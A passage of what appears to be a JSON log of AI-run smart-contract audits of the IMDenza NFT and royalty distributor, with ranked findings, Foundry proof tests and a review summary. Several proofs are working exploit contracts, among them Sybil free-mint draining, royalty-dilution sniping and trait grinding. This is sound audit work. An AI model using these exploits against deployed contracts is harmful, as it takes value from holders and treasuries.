{IMDenzaRenderer} from \"src/IMDenzaRenderer.sol\";\nimport {IMDenza} from \"src/IMDenza.sol\";\nimport {IMDenzaDistributor} from \"src/IMDenzaDistributor.sol\";\nimport {ERC20} from \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\n\ncontract DustImd is ERC20 {\n    constructor() ERC20(\"IMD\", \"IMD\") {}\n\n    function mint(address to, uint256 amount) external {\n        _mint(to, amount);\n    }\n}\n\n/// @notice Proof: IMDenzaDistributor.distribute credits `perToken * minted` accumulator units to\n///         the tokens but only adds `floor(perToken * minted / 1e18)` to `reserved`. Whenever\n///         `unattributed * 1e18` is not divisible by `minted`, that is one wei less than what was\n///         credited, and the same wei is counted as \"unattributed\" again on the next call. The\n///         accumulators therefore promise more than the contract holds, `reserved` runs short, and\n///         the last holder to claim reverts with an arithmetic underflow in `reserved -= amount`.\ncontract DistributorDustProof is Test {\n    address constant ETH = address(0);\n    address constant CONFIGURATOR = 0x3d6a89C8751a45DD577a4C1F3b34E71C58236193;\n\n    IMDenza nft;\n    IMDenzaDistributor dist;\n    address[3] holders = [address(0xA11CE), address(0xB0B), address(0xCA201)];\n\n    function setUp() public {\n        vm.roll(20_000_000);\n        vm.warp(1_760_000_000);\n        SwarmHistory swarm = new SwarmHistory();\n        IMDenzaField field = new IMDenzaField();\n        IMDenzaRenderer renderer = new IMDenzaRenderer(address(swarm), address(field));\n        nft = new IMDenza(CONFIGURATOR, address(renderer), address(swarm));\n        dist = nft.distributor();\n        vm.etch(nft.IMD_TOKEN_A(), address(new DustImd()).code);\n        for (uint256 i; i < 3; ++i) {\n            DustImd(nft.IMD_TOKEN_A()).mint(holders[i], 26 ether);\n            vm.prank(holders[i]);\n            nft.claimWithImd();\n        }\n    }\n\n    function _one(uint256 id) internal pure returns (uint256[] memory ids) {\n        ids = new uint256[](1);\n        ids[0] = id;\n    }\n\n    /// @dev Three ordinary royalty payments of 5 wei to 3 holders. Expected: every holder can claim\n    ///      and the claims never exceed the balance. Actual: the third claim reverts (underflow),\n    ///      because the holders are owed 15 wei in total while `reserved` is only 14.\n    function test_lastClaimantRevertsAfterOrdinaryDistributions() public {\n        for (uint256 d; d < 3; ++d) {\n            vm.deal(address(dist), address(dist).balance + 5);\n            dist.distribute(ETH);\n        }\n        uint256 balance = address(dist).balance;\n        uint256 owed;\n        for (uint256 i = 1; i <= 3; ++i) {\n            owed += dist.pending(ETH, i);\n        }\n        assertLe(owed, balance, \"distributor promises more than it holds\");\n        for (uint256 i = 1; i <= 3; ++i) {\n            // Expected: each claim succeeds (the contract does hold the 15 wei it owes).\n            dist.claim(ETH, _one(i));\n        }\n    }\n\n    /// @dev Calling `distribute` again with no new value must be a no-op (revert NothingToDistribute).\n    ///      Actual: the leftover wei is re-attributed on every call, inflating every token's pending\n    ///      balance without any new funds, until the total claimable exceeds the balance.\n    function test_repeatedDistributeInflatesPendingWithoutNewFunds() public {\n        vm.deal(address(dist), 5);\n        dist.distribute(ETH);\n        for (uint256 k; k < 6; ++k) {\n            // Under correct accounting these revert with NothingToDistribute; tolerate either way.\n            try dist.distribute(ETH) {} catch {}\n        }\n        uint256 owed;\n        for (uint256 i = 1; i <= 3; ++i) {\n            owed += dist.pending(ETH, i);\n        }\n        assertLe(owed, address(dist).balance, \"pending inflated beyond balance by repeated distribute\");\n        for (uint256 i = 1; i <= 3; ++i) {\n            dist.claim(ETH, _one(i));\n        }\n    }\n}","reproduction":"3 tokens minted (ids 1..3). Three times: send 5 wei ETH to the distributor and call distribute(ETH). Expected: pending = 5 wei each, reserved(ETH) = 15, all three single-token claims succeed. Actual: each token's pending = 5 wei (15 owed) while reserved = 14; claim(ETH,[1]) pays 5, claim(ETH,[2]) pays 5, claim(ETH,[3]) reverts Panic(0x11) although the contract still holds 5 wei. Second scenario: 5 wei, then distribute(ETH) seven more times with no new value: expected NothingToDistribute, actual all succeed and total pending becomes 9 wei against a 5 wei balance. Ran: forge test --match-path test/scratch/Proof_c82e5f93e12a.t.sol -> both tests FAIL (Panic 0x11; 'pending inflated beyond balance by repeated distribute: 9 > 5').","severity":"medium","snippet":"        reserved[asset] += attributed;","title":"distribute() credits the accumulator with rounding dust it does not reserve, and re-credits it on every later call; the last claimant's whole claim underflows reserved"},{"citation":"resolved","description":"Merged from audit_economics (high), audit_permissions (medium) and audit_flow (medium). The Identity MD and Fidenza routes bind each claim to the qualifying NFT (identityTokenUsed / fidenzaTokenUsed), so one NFT backs one piece whatever wallets it passes through. The IMD route only checks a point-in-time balanceOf > 25e18 and a per-wallet flag; the IMD is neither locked, consumed nor remembered. One actor moves the same 26 IMD through throwaway contracts inside a single transaction (contracts implement onERC721Received so _safeMint lands) and each one claims a free piece: 50 pieces cost ~18M gas and zero IMD in the proof. The remaining supply (3333 pieces, 0.069 IMD each at public price, 90% to holders and 10% to treasury) can be exhausted for gas only, so the public sale raises nothing and genuine Identity MD / Fidenza holders can be shut out. The brief's wording is 'per wallet', so the code meets the letter, but it also says the on-chain check must not be gameable, and the README understates the cost ('enough IMD' is 26 IMD in total). Recalibrated to medium: no existing funds are lost, but the economic bound of the free routes does not hold. This needs a scope decision by the requester; options that keep an on-chain per-wallet check: escrow/lock the 25 IMD for the claim window, use a pre-launch balance snapshot (ERC20Votes getPastVotes if the IMD token supports it), or at minimum reject contract callers (msg.sender == tx.origin) so each extra claim needs a funded EOA and its own transaction.","line":202,"path":"src/IMDenza.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {IERC20} from \"forge-std/interfaces/IERC20.sol\";\nimport {SwarmHistory} from \"src/SwarmHistory.sol\";\nimport {IMDenzaField} from \"src/IMDenzaField.sol\";\nimport {IMDenzaRenderer} from \"src/IMDenzaRenderer.sol\";\nimport {IMDenza} from \"src/IMDenza.sol\";\n\n/// @dev Minimal ERC-20 etched at the IMD token address.\ncontract ProofERC20 {\n    string public name = \"Identity.md\";\n    string public symbol = \"IMD\";\n    uint8 public decimals = 18;\n    uint256 public totalSupply;\n    mapping(address => uint256) public balanceOf;\n    mapping(address => mapping(address => uint256)) public allowance;\n\n    function mint(address to, uint256 amount) external {\n        balanceOf[to] += amount;\n        totalSupply += amount;\n    }\n\n    function approve(address spender, uint256 amount) external returns (bool) {\n        allowance[msg.sender][spender] = amount;\n        return true;\n    }\n\n    function transfer(address to, uint256 amount) external returns (bool) {\n        balanceOf[msg.sender] -= amount;\n        balanceOf[to] += amount;\n        return true;\n    }\n\n    function transferFrom(address from, address to, uint256 amount) external returns (bool) {\n        allowance[from][msg.sender] -= amount;\n        balanceOf[from] -= amount;\n        balanceOf[to] += amount;\n        return true;\n    }\n}\n\n/// @dev One throwaway \"wallet\": claims once, hands the IMD back.\ncontract Child {\n    function run(IMDenza nft, IERC20 imd, address back) external {\n        nft.claimWithImd();\n        imd.transfer(back, imd.balanceOf(address(this)));\n    }\n\n    function onERC721Received(address, address, uint256, bytes calldata) external pure returns (bytes4) {\n        return this.onERC721Received.selector;\n    }\n}\n\n/// @dev Recycles the same 26 IMD through fresh wallets, one free claim each, in a single transaction.\ncontract Sybil {\n    function drain(IMDenza nft, IERC20 imd, uint256 n) external {\n        for (uint256 i; i < n; ++i) {\n            Child c = new Child();\n            imd.transfer(address(c), 26 ether);\n            c.run(nft, imd, address(this));\n        }\n    }\n}\n\ncontract SybilImdClaimProof is Test {\n    IMDenza nft;\n    ProofERC20 imd;\n    Sybil sybil;\n\n    function setUp() public {\n        vm.roll(20_000_000);\n        vm.warp(1_760_000_000);\n        SwarmHistory swarm = new SwarmHistory();\n        IMDenzaField field = new IMDenzaField();\n        IMDenzaRenderer renderer = new IMDenzaRenderer(address(swarm), address(field));\n        nft = new IMDenza(address(0xBEEF), address(renderer), address(swarm));\n        vm.etch(nft.IMD_TOKEN_A(), address(new ProofERC20()).code);\n        imd = ProofERC20(nft.IMD_TOKEN_A());\n        sybil = new Sybil();\n        imd.mint(address(sybil), 26 ether);\n    }\n\n    /// Expected: one wallet holding 26 IMD is entitled to one free piece; every further piece costs\n    /// 0.069 IMD and pays holders and the treasury.\n    /// Actual: 26 IMD recycled through 50 throwaway wallets mints 50 pieces for free in one\n    /// transaction, with zero proceeds to anyone, and the attacker still holds the 26 IMD.\n    function test_oneWalletWith26ImdCannotMintMoreThanOnePieceForFree() public {\n        uint256 n = 50;\n        try sybil.drain(nft, IERC20(address(imd)), n) {} catch {}\n\n        // Whatever the attacker tried, 26 IMD must not buy more than one free piece.\n        assertLe(nft.totalMinted(), 1, \"26 IMD minted more than one free piece\");\n        // Sanity on what the attacker ends up with (holds true before and after a fix).\n        assertEq(imd.balanceOf(address(sybil)), 26 ether);\n        assertEq(imd.balanceOf(nft.TREASURY()), 0);\n        assertEq(imd.balanceOf(address(nft.distributor())), 0);\n    }\n}","reproduction":"State: IMD token A live, attacker contract S holds exactly 26e18 IMD. S.drain(nft, imd, 50): for i in 0..49 { c = new Child(); imd.transfer(c, 26e18); c.run() -> nft.claimWithImd(); imd.transfer(S, 26e18) }. Expected (one free piece per 26 IMD held): at most 1 piece. Actual: totalMinted() == 50, imd.balanceOf(S) == 26e18, treasury and distributor received nothing. Ran: forge test --match-path test/scratch/Proof_5c284560007e.t.sol -> FAIL '26 IMD minted more than one free piece: 50 > 1'.","severity":"medium","snippet":"        if (!_holdsImd(msg.sender)) revert InsufficientImd();","title":"claimWithImd is not bound to the IMD: one 26 IMD balance recycled through fresh wallets mints the remaining supply for free"},{"citation":"resolved","description":"Merged from audit_economics and audit_flow. ETH royalties arrive through receive() (WETH through a plain transfer) without being attributed; attribution happens only when someone calls distribute(asset), which splits the whole unattributed balance over nft.totalMinted() at that moment, not at arrival. IMDenza._mintTo increments totalMinted without attributing pending ETH/WETH first (mint() only distributes the IMD it just received). So anyone who sees a royalty balance sitting in the distributor mints k pieces (paid, or free via finding 3) and calls distribute(ETH) in the same transaction, taking k/(m+k) of royalties earned while only m pieces existed; it also front-runs any honest distribute(ETH) transaction. Example: 10 ETH pending with 1000 holders, 100 mints for 6.9 IMD (90% of which flows back to holders including the minter) earn 0.909 ETH immediately. This contradicts the README's 'Pieces minted later never share earlier distributions' in the only sense that matters to holders (value earned, not value already checkpointed). Fix: attribute on arrival for ETH (receive() runs the distribution when totalMinted() > 0), and have IMDenza._mintTo() checkpoint the distributor for ETH and the payment token before incrementing totalMinted (best-effort, non-reverting); document that arbitrary ERC-20 royalties remain exposed until distributed.","line":69,"path":"src/IMDenzaDistributor.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {SwarmHistory} from \"src/SwarmHistory.sol\";\nimport {IMDenzaField} from \"src/IMDenzaField.sol\";\nimport {IMDenzaRenderer} from \"src/IMDenzaRenderer.sol\";\nimport {IMDenza} from \"src/IMDenza.sol\";\nimport {IMDenzaDistributor} from \"src/IMDenzaDistributor.sol\";\n\n/// @dev Minimal ERC-20 etched at IMDenza.IMD_TOKEN_A (18 decimals).\ncontract TinyERC20 {\n    mapping(address => uint256) public balanceOf;\n    mapping(address => mapping(address => uint256)) public allowance;\n\n    function decimals() external pure returns (uint8) {\n        return 18;\n    }\n\n    function mint(address to, uint256 amount) external {\n        balanceOf[to] += amount;\n    }\n\n    function approve(address spender, uint256 amount) external returns (bool) {\n        allowance[msg.sender][spender] = amount;\n        return true;\n    }\n\n    function transfer(address to, uint256 amount) external returns (bool) {\n        balanceOf[msg.sender] -= amount;\n        balanceOf[to] += amount;\n        return true;\n    }\n\n    function transferFrom(address from, address to, uint256 amount) external returns (bool) {\n        allowance[from][msg.sender] -= amount;\n        balanceOf[from] -= amount;\n        balanceOf[to] += amount;\n        return true;\n    }\n}\n\n/// @dev Stand-in for Limit Break's default validator (accepts everything).\ncontract StubValidator {\n    function setTransferSecurityLevelOfCollection(address, uint8, bool, bool, bool) external {}\n    function applyListToCollection(address, uint120) external {}\n    function setTokenTypeOfCollection(address, uint16) external {}\n    function validateTransfer(address, address, address, uint256) external view {}\n}\n\n/// @dev Mints `n` pieces publicly and then distributes the pending ETH, all in one transaction.\ncontract Sniper {\n    function onERC721Received(address, address, uint256, bytes calldata) external pure returns (bytes4) {\n        return this.onERC721Received.selector;\n    }\n\n    function run(IMDenza nft, TinyERC20 imd, uint256 n) external {\n        imd.approve(address(nft), type(uint256).max);\n        for (uint256 i; i < n; ++i) {\n            nft.mint(address(imd));\n        }\n        nft.distributor().distribute(address(0));\n    }\n}\n\ncontract ProofRoyaltyDilutionTest is Test {\n    address constant CONFIGURATOR = 0x3d6a89C8751a45DD577a4C1F3b34E71C58236193;\n    address constant VALIDATOR = 0x721C002B0059009a671D00aD1700c9748146cd1B;\n\n    IMDenza nft;\n    IMDenzaDistributor dist;\n    TinyERC20 imd;\n    address alice = makeAddr(\"alice\");\n\n    function setUp() public {\n        vm.roll(20_000_000);\n        vm.warp(1_760_000_000);\n        vm.etch(VALIDATOR, address(new StubValidator()).code);\n        SwarmHistory swarm = new SwarmHistory();\n        IMDenzaField field = new IMDenzaField();\n        IMDenzaRenderer renderer = new IMDenzaRenderer(address(swarm), address(field));\n        nft = new IMDenza(CONFIGURATOR, address(renderer), address(swarm));\n        dist = nft.distributor();\n        vm.etch(nft.IMD_TOKEN_A(), address(new TinyERC20()).code);\n        imd = TinyERC20(nft.IMD_TOKEN_A());\n    }\n\n    /// Royalties that arrived while Alice held the only piece must belong to Alice's piece.\n    function test_royaltiesEarnedBeforeAMintAreNotSharedWithIt() public {\n        imd.mint(alice, 26 ether);\n        vm.prank(alice);\n        nft.claimWithImd(); // token 1, the only holder\n\n        // 10 ETH of royalties arrive (OpenSea pays the distributor directly).\n        (bool ok,) = address(dist).call{value: 10 ether}(\"\");\n        assertTrue(ok);\n\n        // Before anyone calls distribute(ETH), a sniper mints 9 pieces and distributes in one tx.\n        Sniper s = new Sniper();\n        imd.mint(address(s), 1 ether);\n        s.run(nft, imd, 9); // tokens 2..10\n\n        assertEq(dist.pending(address(0), 1), 10 ether, \"royalty earned before tokens 2..10 existed went to them\");\n        assertEq(dist.pending(address(0), 2), 0, \"token 2 must not receive royalties that predate it\");\n    }\n}","reproduction":"Alice takes the only free claim (token 1). 10 ETH is sent to the distributor via receive(). Before anyone calls distribute, contract D holding 1 IMD approves and calls nft.mint(IMD_TOKEN_A) nine times (tokens 2..10), then nft.distributor().distribute(address(0)), all in one transaction. Expected: pending(ETH, 1) == 10 ether and pending(ETH, 2) == 0 (the royalty was paid while Alice's piece was the only one). Actual: pending(ETH, 1) == 1 ether; tokens 2..10 hold 9 ether of royalties that predate them. Ran: forge test --match-path test/scratch/Proof_RoyaltyDilution.t.sol -> FAIL '1000000000000000000 != 10000000000000000000'.","severity":"medium","snippet":"        uint256 minted = nft.totalMinted();","title":"Royalties that arrive before distribute() is called are shared with pieces minted afterwards: minting first captures existing holders' ETH/WETH"},{"citation":"resolved","description":"From audit_economics; reproduced with my own test. The composition seed is keccak(tokenHash, swarm.entropy, tokenId). Every input of tokenHash is known to a minting contract before it mints (tokenId = totalMinted+1, blockhash(block.number-1), prevrandao, its own address, block.number, block.timestamp), and swarm.entropy changes with every SwarmHistory.recordJob(), which anyone may call with any unused job id. A minting contract therefore computes the exact seed, calls renderer.traits() (a view) and, if the trait is not the wanted one, records a junk job and retries, then claims/mints. Each retry costs ~150k gas; the rarest buckets (Jumbo scale, High turbulence, Dense, the favoured palette) are reached in ~12 tries on average. Rarity drives secondary value, so this is extractable, and every retry dumps a fabricated record into the ledger the artwork is supposed to reflect (polluting the foundational first 16 digests and the accent profile of all later mints). A second vector is independent of the ledger: tokenHash includes the recipient, so CREATE2 child addresses can be ground. Fix: do not let the mint transaction choose its own randomness, e.g. commit at mint and derive tokenHash/entropy from a later block, or at least snapshot an entropy value committed in an earlier block; restricting recordJob alone does not close the CREATE2 vector.","line":294,"path":"src/IMDenza.sol","reproduction":"Deploy Grinder(nft) holding 26 IMD; call grindAndClaim(3, 300): it computes the exact tokenHash IMDenza will use, then calls swarm.recordJob(keccak(this, nonce, block.number), 7, 1, 0, now) until renderer.traits(piece).scale == 3 (Jumbo), then claimWithImd(). Repeat with five independent grinders in one block. Expected: traits are not chosen by the minter, so with ~8% odds at least one of five is not Jumbo. Actual: all five pieces have scale == 3 after 92 junk records. Ran: forge test --match-path test/scratch/Review.t.sol --match-test test_traitGrinding -> FAIL 'every minter picked Jumbo: 5 >= 5' (logs: jumbo of 5: 5, swarm jobs recorded: 92).","severity":"medium","snippet":"        (bytes32 entropy, uint256 jobCount, uint64 profile) = swarm.snapshot();","title":"Minters can choose their traits: the swarm entropy snapshotted at mint is rerollable in the same transaction through the permissionless ledger"},{"citation":"resolved","description":"From audit_permissions; reproduced. Trust assumption with a concrete abuse path, reported separately from the design as the brief says 'no owner after deployment' and 'no discretionary minting'. The configurator role (the launch owner EOA) survives until first use with no deadline, and the only validation is non-zero. The value it sets is the oracle of a free mint route: claimWithIdentityMd trusts IERC721(identityMdCollection).ownerOf(id) == msg.sender. Setting it to address(nft) makes every IMDenza holder eligible for a second free piece; setting it to a contract whose ownerOf returns chosen addresses mints the remaining supply for free to chosen wallets, bypassing the public price and the 90/10 split. A key compromise has the same effect. Conversely, an EOA or typo address passes the check and claimWithIdentityMd then reverts NoCode forever because the setter is one-shot (AlreadyConfigured). Minimal fixes that keep the design: take the collection as an immutable constructor argument (manifest static address) and drop the setter; or keep the setter but require collection.code.length > 0, ERC165 support for IERC721, forbid address(this)/distributor, and only allow it before the first mint.","line":145,"path":"src/IMDenza.sol","reproduction":"A) alice holds 26e18 IMD; alice: claimWithImd() -> token 1. vm.prank(configurator): setIdentityMdCollection(address(nft)). alice: claimWithIdentityMd(1) -> returns token 2, nft.balanceOf(alice) == 2 (expected: no post-deployment actor can open a mint path). B) configurator: setIdentityMdCollection(0x000000000000000000000000000000000000dEaD); alice: claimWithIdentityMd(1) -> NoCode(0xdEaD); configurator: setIdentityMdCollection(realCollection) -> AlreadyConfigured; the route is dead permanently. Ran: forge test --match-path test/scratch/Review.t.sol --match-test test_configuratorSelf -> PASS (i.e. the second free piece is minted); B traced in code (lines 143-146, 193).","severity":"medium","snippet":"        if (collection == address(0)) revert ZeroAddress();","title":"Configurator can point claimWithIdentityMd at any contract (including IMDenza itself) to open a free mint route, or brick the route with one wrong address"},{"citation":"resolved","description":"Merged from audit_permissions (medium) and write_foundry_tests (info); recalibrated to low because no funds move and the brief explicitly allows a permissionless summary. The ledger has no recorder guard and no reconciliation: the first writer of any jobId wins forever and the first 16 records become the foundational digests drawn into every later piece. Whoever calls recordJobs first after deployment (front-running the operator's back-fill in the same block) defines the foundational traces of the whole collection with fabricated data; if real job ids are predictable (keccak of public job ids), recording them with wrong data makes the legitimate batch revert JobAlreadyRecorded (all-or-nothing) and the true record for those ids can never be written. Ten garbage records (~1.5M gas) pin pulse() at PULSE_MAX for ~7200 blocks (2x animation speed, 1.5x saturation on every piece). The README's 'back-fill before minting opens' is not enforceable on chain. Options that keep the permissionless summary: fill the foundational slots from a committed pre-launch digest given to the constructor, or accept records only from a recorder address given as a constructor argument while leaving reads open.","line":140,"path":"src/SwarmHistory.sol","reproduction":"Fresh SwarmHistory. bob: recordJobs(ids[0..15] = keccak('real-job-', i), jobType 7, agentCount 65535, outcome 2, timestamp 0) -> succeeds, pulse() == PULSE_MAX, recordAt(0).recorder == bob. alice (operator): recordJobs(same ids, real data) -> reverts JobAlreadyRecorded(ids[0]); nothing recorded. Expected: foundational traces and per-job records reflect IMD swarm jobs; actual: whatever the first caller wrote. Ran: forge test --match-path test/scratch/Review.t.sol --match-test test_swarmFrontRun -> PASS (assertions encode the actual behaviour).","severity":"low","snippet":"        if (isRecorded[jobId]) revert JobAlreadyRecorded(jobId);","title":"SwarmHistory is first-come: a griefer can seize the 16 foundational slots, pre-empt real job ids so the legitimate back-fill can never be written, and saturate the live pulse"},{"citation":"resolved","description":"Merged from audit_math, audit_economics, write_foundry_tests and audit_flow (same root cause: the second IMD address is an unverified dependency). mintPrice = 69 * 10**decimals / 1000 truncates: decimals 0 or 1 give 0, so mint(B) pulls nothing (safeTransferFrom of 0 succeeds) and mints with no proceeds; decimals 2 gives 6 units (0.06 IMD, 13% under the brief). _balanceAboveWhole computes 25 * 10**decimals with checked arithmetic, so decimals >= 77 reverts with Panic(0x11), and because _holdsImd evaluates B whenever A is below the threshold, claimWithImd()/holdsImd() revert for every wallet that does not already qualify through A. mint() also never requires received >= price, so a contract at B whose transferFrom returns true without moving anything mints for free (ProceedsSplit(B, 0, 0)). Token A (18 decimals, live) is unaffected. Precondition is control of the deployment at that address, which this review cannot assess, hence low. Fix: pin the expected decimals (or bound them to a sane range) for both constants, and require received >= price in mint() (which also protects against a broken or fee-on-transfer token).","line":251,"path":"src/IMDenza.sol","reproduction":"vm.etch(IMD_TOKEN_B, ERC-20 with decimals()=2): nft.mintPrice(B) == 6 (expected 0.069 IMD or revert). vm.etch(IMD_TOKEN_B, decimals()=0): nft.mintPrice(B) == 0; vm.prank(alice) (no balance, no approval); nft.mint(B) returns token 1. vm.etch(IMD_TOKEN_B, decimals()=78): bob (0 of token A) calls claimWithImd() -> Panic(0x11) instead of InsufficientImd. Ran: forge test --match-path test/scratch/Review.t.sol --match-test test_tokenBDecimals -> PASS (assertions encode the actual behaviour).","severity":"low","snippet":"        return MINT_PRICE_MILLI * 10 ** _decimals(paymentToken) / 1000;","title":"IMD_TOKEN_B has no code on mainnet and whatever appears there is trusted for pricing and eligibility: decimals < 3 makes the public mint free, decimals >= 77 bricks claimWithImd, and mint() never chec"},{"citation":"resolved","description":"Merged from audit_economics (low) and write_foundry_tests (low). claim() records claimedAcc = earned (full acc units) but pays floor(sum/1e18), so the fractional part of each token's credit is forfeited at every claim; once finding 2 is fixed those units are counted in reserved and nothing ever releases them (up to 1 wei per token per claim, locked forever). Separately, pending() floors per token while claim() sums raw units of all ids and floors once, so a batch of n tokens pays up to n-1 wei more than the views report; today those extra wei are drawn from a reserved value that never accounted for them, bringing finding 2's underflow forward. Fix: account per token, e.g. claimedAcc[asset][id] += amount_i * PRECISION with amount_i = owed_i / PRECISION (the remainder stays claimable), and make pending() and claim() round the same way.","line":105,"path":"src/IMDenzaDistributor.sol","reproduction":"A) 2 tokens minted. Send 3 wei, distribute(ETH): perToken 1.5e18. claim(ETH,[1]) pays 1 wei, claimedAcc[ETH][1] == 1.5e18. Send 3 wei, distribute(ETH): claim(ETH,[1]) pays 1 wei again. Token 1 received 2 wei for 3e18 units (3 wei) of credit; the third wei is never claimable. B) One wallet owns tokens 1 and 2; send 3 wei, distribute(ETH): pending(1) + pending(2) == 2 but claim(ETH,[1,2]) returns 3. Ran: forge test --match-path test/scratch/Review.t.sol --match-test 'test_claimRounding|test_batchClaimVsPending' -> PASS (assertions encode the actual behaviour).","severity":"low","snippet":"                claimedAcc[asset][id] = earned;","title":"claim() rounds inconsistently: fractional acc units are forfeited and locked in reserved at every claim, and a batch claim pays more than the per-token pending() views add up to"},{"citation":"resolved","description":"Own finding. The field tracer examines up to MAX_TRIES = 1200 start points per piece, each tracing up to maxSteps points with a noise lookup and an occupancy scan per step. For scale 0 (maxSteps 40, noiseCell 80) with density 2 (120 attempts) this plus the string assembly and base64 encoding costs up to ~49.5M gas per render. Measured over 300 random pieces (swarm entropy zero): worst case 49.51M (Small/None/Dense), 48.58M (Small/Low/Dense), 43.22M (Small/None/Medium); 58 of 300 pieces (19%) exceed 30M; none exceeded 50M in the sample but the worst case is within 1% of it. Geth's default eth_call gas cap is 50M and several hosted RPCs cap lower, so a share of the collection cannot be rendered through standard infrastructure (marketplaces, explorers, wallets) even though the on-chain function is correct, and the README's '~25M' guidance is wrong. Not a fund issue; the pieces can still be regenerated off-chain from tokenData. Mitigations: lower MAX_TRIES or stop early when the grid is saturated, pick cheaper Small-scale parameters, or at least document the real ceiling and the RPC gas cap needed (>= 60M).","line":79,"path":"src/IMDenzaField.sol","reproduction":"Deploy SwarmHistory, IMDenzaField, IMDenzaRenderer. For i in 0..299 build Piece{tokenId i+1, tokenHash keccak('gas', i), swarmEntropy 0, swarmJobIndex 0, typeProfile 0}, skip density 3, measure gasleft() around renderer.tokenURI(p). Expected (README): at most ~25M per piece. Actual: max per trait class scale0/turb0/dens2 49,512,402; scale0/turb1/dens2 48,581,320; scale0/turb0/dens1 43,222,935; 58 pieces over 30M. Ran: forge test --match-path test/scratch/Gas.t.sol -vv (logs above).","severity":"low","snippet":"        for (uint256 tries; tries < MAX_TRIES && count < p.attempts; ++tries) {","title":"tokenURI()/svg() cost up to ~49.5M gas for Small/Dense pieces (about 1 in 5 pieces above 30M), not the ~25M the README states; at the edge of default eth_call gas caps"},{"citation":"resolved","description":"Merged from audit_permissions and write_foundry_tests. _mintTo increments totalMinted before distribute() runs, so the new token is one of the recipients of its own 90% holder share: 90% back for the first piece, 45% for the second, 0.9/totalMinted in general. The README documents this ('including the new one'), so it is a reading of the brief rather than a defect, but the requester should confirm it; the alternative is to distribute before _mintTo so only pre-existing pieces share.","line":264,"path":"src/IMDenza.sol","reproduction":"Fresh deployment. alice approves 0.069e18 IMD and calls mint(IMD_TOKEN_A) -> token 1. dist.pending(IMD_TOKEN_A, 1) == 0.0621e18 immediately (net paid 0.0069e18 after claim). Ran: forge test --match-path test/scratch/Review.t.sol --match-test test_firstMinterRebate -> PASS (assertion encodes the actual behaviour).","severity":"info","snippet":"        tokenId = _mintTo(msg.sender, 0);","title":"A public minter's own new token shares in the 90% split of its own payment (first public mint is 90% refundable)"},{"citation":"resolved","description":"From audit_math; reproduced. 1_000_000 / 7200 = 138 (floored), so 7200 blocks remove 993,600 and pulse() still reads 6,400 until block 7247. Only the comment and the trait's time constant are slightly off; no value or composition impact.","line":25,"path":"src/SwarmHistory.sol","reproduction":"recordJob 10 times in one block (pulse saturates at 1_000_000); vm.roll(+7200): pulse() == 6400 (expected 0 per the comment); vm.roll(+47): pulse() == 0. Ran: forge test --match-path test/scratch/Review.t.sol --match-test test_pulseDecay -> PASS.","severity":"info","snippet":"    uint256 public constant PULSE_DECAY_PER_BLOCK = PULSE_MAX / 7200;","title":"PULSE_DECAY_PER_BLOCK floors to 138: a saturated pulse decays in 7247 blocks, not the documented 7200"}],"hash":"39f3b0dc4e526568f2c88872545f865f56e8938b63a22f6dc09463ac2d972723","nodeId":"e9874d5d-ea26-4b19-b56a-b70ecdb81ba6","outcome":"completed","summary":"The review is complete. `.imd-findings.json` holds 12 findings and a 21-row coverage record (all 18 entry points answered, none unreached). No source, config or test file outside `test/scratch/` was touched.\n\n**What I did**\n\n- Built the project and ran its suite: 79 tests pass. Ran all four attached specialist proofs; each fails on the current tree for the stated reason.\n- Wrote my own reproductions in `test/scratch/Review.t.sol` and `Gas.t.sol`, plus a self-contained proof for royalty dilution. Every kept finding has a reproduction I executed; snippets were checked byte-for-byte against the tree.\n- Merged the 25 specialist findings into 10 distinct root causes and added 1 of my own.\n\n**Findings, ranked**\n\n1. **High, proof attached.** Density trait reaches bucket 3 once swarm entropy is non-zero, so `tokenURI()` and `svg()` panic permanently for roughly 1.7% of pieces. Merged from audit_math and audit_flow.\n2. **Medium, proof attached.** The distributor credits rounding dust it never reserves and re-credits it on every call, so the last claimant's whole claim underflows. Merged from five reports; recalibrated from high since anyone can unblock it by donating a few wei.\n3. **Medium, proof attached.** The IMD free claim is not bound to the IMD, so one 26 IMD balance recycled through throwaway contracts mints the remaining supply for free. Recalibrated from high since no existing funds are lost; needs a scope decision.\n4. **Medium, proof attached.** Royalties sitting undistributed are shared with pieces minted before `distribute()` runs.\n5. **Medium.** Minters can grind their traits in the same transaction by rerolling swarm entropy through the permissionless ledger. Reproduced: five grinders all obtained Jumbo.\n6. **Medium.** The configurator can point the Identity MD route at any contract, including IMDenza itself, or brick it with one typo. Reported as a trust assumption with a concrete abuse path.\n7. **Low.** SwarmHistory is first-come: foundational slots and real job ids can be seized. Downgraded from medium since the brief allows a permissionless summary.\n8. **Low.** The unverified second IMD address is trusted for decimals and payment; `mint()` never checks that the price actually arrived.\n9. **Low.** `claim()` forfeits fractional credit and pays batches differently from what `pending()` shows.\n10. **Low, my own.** Rendering costs up to 49.5M gas for Small/Dense pieces, with 19% of a 300-piece sample above 30M. The README claims about 25M, and the worst case is within 1% of geth's default eth_call cap.\n11. **Info.** A public minter's new token shares in its own 90% split.\n12. **Info.** The pulse decay constant floors to 138, so decay takes 7247 blocks rather than 7200.\n\n**Dropped or folded:** no specialist finding failed to reproduce. The manifest, contract sizes, constructor behaviour on an empty chain, ERC721C level-3 semantics (OTC allowed per the vendored constants) and the always-reverting owner hooks all check out and are recorded as `holds` in coverage.","treeHash":null,"usage":{"cachedInputTokens":1917148,"inputTokens":482,"model":"claude-fable-5-1","outputTokens":46902,"runtime":"claude","turns":33,"wallClockMs":829894}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"3a720671678111bc","findings":[{"citation":"resolved","description":"Settles prior finding 55797c765630 (author: disputed, left unchanged). The behaviour still reproduces on this tree: the IMD route checks a point-in-time balanceOf > 25 whole IMD plus a per-wallet flag, and neither locks, consumes nor remembers the IMD, so the same 26 IMD moved through throwaway contracts (or a constructor-time claim) backs one free piece per address, up to the remaining supply, paying nothing into the 90/10 proceeds split. The author's position holds on two points I verified: the brief literally specifies '1 free mint/claim per wallet that holds more than 25 IMD' and the code implements exactly that; and the two held proofs (Proof_a09b61c4647d, Proof_32a0a583ec8b) call claimWithImd via single-argument vm.prank from wallets that never approved IMD, so an escrow or msg.sender == tx.origin check would break proofs the verifier requires to pass. The README 'Assumptions' now states the real cost (26 IMD total, once per fresh wallet). Recalibrated from medium to low: no existing funds are at risk, the literal brief rule is 